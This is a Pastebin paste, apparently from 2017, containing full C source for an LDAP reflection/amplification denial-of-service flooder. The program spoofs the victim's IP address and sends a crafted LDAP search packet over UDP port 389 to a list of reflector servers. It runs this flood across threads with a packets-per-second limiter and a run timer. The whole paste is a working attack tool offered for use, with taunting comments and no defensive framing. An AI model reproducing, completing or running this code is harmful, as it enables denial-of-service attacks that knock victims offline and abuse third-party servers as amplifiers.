SHARE
TWEET

LDAP Attack Script

wtfbbq Jul 29th, 2017 (edited) 3,999 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /* ldap attack script
  2.    ddos on ya forehead
  3.    LiGhT is a fucking skid
  4. */
  5.  
  6. #include <time.h>
  7. #include <pthread.h>
  8. #include <unistd.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include <sys/socket.h>
  13. #include <netinet/ip.h>
  14. #include <netinet/udp.h>
  15. #include <arpa/inet.h>
  16. #define MAX_PACKET_SIZE 8192
  17. #define PHI 0x9e3779b9
  18. static uint32_t Q[4096], c = 362436;
  19. struct list
  20. {
  21.     struct sockaddr_in data;
  22.     struct list *next;
  23.     struct list *prev;
  24. };
  25. struct list *head;
  26. volatile int tehport;
  27. volatile int limiter;
  28. volatile unsigned int pps;
  29. volatile unsigned int sleeptime = 100;
  30. struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
  31. void init_rand(uint32_t x)
  32. {
  33.     int i;
  34.     Q[0] = x;
  35.     Q[1] = x + PHI;
  36.     Q[2] = x + PHI + PHI;
  37.     for (i = 3; i < 4096; i++)
  38.     {
  39.     Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  40.     }
  41. }
  42. uint32_t rand_cmwc(void)
  43. {
  44.     uint64_t t, a = 18782LL;
  45.     static uint32_t i = 4095;
  46.     uint32_t x, r = 0xfffffffe;
  47.     i = (i + 1) & 4095;
  48.     t = a * Q[i] + c;
  49.     c = (t >> 32);
  50.     x = t + c;
  51.     if (x < c) {
  52.     x++;
  53.     c++;
  54.     }
  55.     return (Q[i] = r - x);
  56. }
  57. unsigned short csum (unsigned short *buf, int nwords)
  58. {
  59.     unsigned long sum = 0;
  60.     for (sum = 0; nwords > 0; nwords--)
  61.     sum += *buf++;
  62.     sum = (sum >> 16) + (sum & 0xffff);
  63.     sum += (sum >> 16);
  64.     return (unsigned short)(~sum);
  65. }
  66. void setup_ip_header(struct iphdr *iph)
  67. {
  68.     iph->ihl = 5;
  69.     iph->version = 4;
  70.     iph->tos = 0;
  71.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 51;
  72.     iph->id = htonl(54321);
  73.     iph->frag_off = 0;
  74.     iph->ttl = MAXTTL;
  75.     iph->protocol = IPPROTO_UDP;
  76.     iph->check = 0;
  77.     iph->saddr = inet_addr("192.168.3.100");
  78. }
  79. void setup_udp_header(struct udphdr *udph)
  80. {
  81.     udph->source = htons(5678);
  82.     udph->dest = htons(389);
  83.     udph->check = 0;
  84.     memcpy((void *)udph + sizeof(struct udphdr), "\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00", 51);
  85.     udph->len=htons(sizeof(struct udphdr) + 51);
  86. }
  87. void *flood(void *par1)
  88. {
  89.     struct thread_data *td = (struct thread_data *)par1;
  90.     char datagram[MAX_PACKET_SIZE];
  91.     struct iphdr *iph = (struct iphdr *)datagram;
  92.     struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
  93.     struct sockaddr_in sin = td->sin;
  94.     struct  list *list_node = td->list_node;
  95.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  96.     if(s < 0){
  97.     fprintf(stderr, "Could not open raw socket.\n");
  98.     exit(-1);
  99.     }
  100.     init_rand(time(NULL));
  101.     memset(datagram, 0, MAX_PACKET_SIZE);
  102.     setup_ip_header(iph);
  103.     setup_udp_header(udph);
  104.     udph->source = htons(rand() % 65535 - 1026);
  105.     iph->saddr = sin.sin_addr.s_addr;
  106.     iph->daddr = list_node->data.sin_addr.s_addr;
  107.     iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  108.     int tmp = 1;
  109.     const int *val = &tmp;
  110.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  111.     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  112.     exit(-1);
  113.     }
  114.     init_rand(time(NULL));
  115.     register unsigned int i;
  116.     i = 0;
  117.     while(1){
  118.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  119.         list_node = list_node->next;
  120.         iph->daddr = list_node->data.sin_addr.s_addr;
  121.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  122.         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
  123.        
  124.         pps++;
  125.         if(i >= limiter)
  126.         {
  127.             i = 0;
  128.             usleep(sleeptime);
  129.         }
  130.         i++;
  131.     }
  132. }
  133. int main(int argc, char *argv[ ])
  134. {
  135.     if(argc < 6){
  136.     fprintf(stderr, "Invalid parameters!\n");
  137.     fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  138.         exit(-1);
  139.     }
  140.     srand(time(NULL));
  141.     int i = 0;
  142.     head = NULL;
  143.     fprintf(stdout, "Setting up sockets...\n");
  144.     int max_len = 128;
  145.     char *buffer = (char *) malloc(max_len);
  146.     buffer = memset(buffer, 0x00, max_len);
  147.     int num_threads = atoi(argv[4]);
  148.     int maxpps = atoi(argv[5]);
  149.     limiter = 0;
  150.     pps = 0;
  151.     int multiplier = 20;
  152.     FILE *list_fd = fopen(argv[3],  "r");
  153.     while (fgets(buffer, max_len, list_fd) != NULL) {
  154.         if ((buffer[strlen(buffer) - 1] == '\n') ||
  155.                 (buffer[strlen(buffer) - 1] == '\r')) {
  156.             buffer[strlen(buffer) - 1] = 0x00;
  157.             if(head == NULL)
  158.             {
  159.                 head = (struct list *)malloc(sizeof(struct list));
  160.                 bzero(&head->data, sizeof(head->data));
  161.                 head->data.sin_addr.s_addr=inet_addr(buffer);
  162.                 head->next = head;
  163.                 head->prev = head;
  164.             } else {
  165.                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
  166.                 memset(new_node, 0x00, sizeof(struct list));
  167.                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
  168.                 new_node->prev = head;
  169.                 new_node->next = head->next;
  170.                 head->next = new_node;
  171.             }
  172.             i++;
  173.         } else {
  174.             continue;
  175.         }
  176.     }
  177.     struct list *current = head->next;
  178.     pthread_t thread[num_threads];
  179.     struct sockaddr_in sin;
  180.     sin.sin_family = AF_INET;
  181.     sin.sin_addr.s_addr = inet_addr(argv[1]);
  182.     struct thread_data td[num_threads];
  183.     for(i = 0;i<num_threads;i++){
  184.         td[i].thread_id = i;
  185.         td[i].sin= sin;
  186.         td[i].list_node = current;
  187.         pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  188.     }
  189.     fprintf(stdout, "Starting flood...\n");
  190.     for(i = 0;i<(atoi(argv[6])*multiplier);i++)
  191.     {
  192.         usleep((1000/multiplier)*1000);
  193.         if((pps*multiplier) > maxpps)
  194.         {
  195.             if(1 > limiter)
  196.             {
  197.                 sleeptime+=100;
  198.             } else {
  199.                 limiter--;
  200.             }
  201.         } else {
  202.             limiter++;
  203.             if(sleeptime > 25)
  204.             {
  205.                 sleeptime-=25;
  206.             } else {
  207.                 sleeptime = 0;
  208.             }
  209.         }
  210.         pps = 0;
  211.     }
  212.     return 0;
  213. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top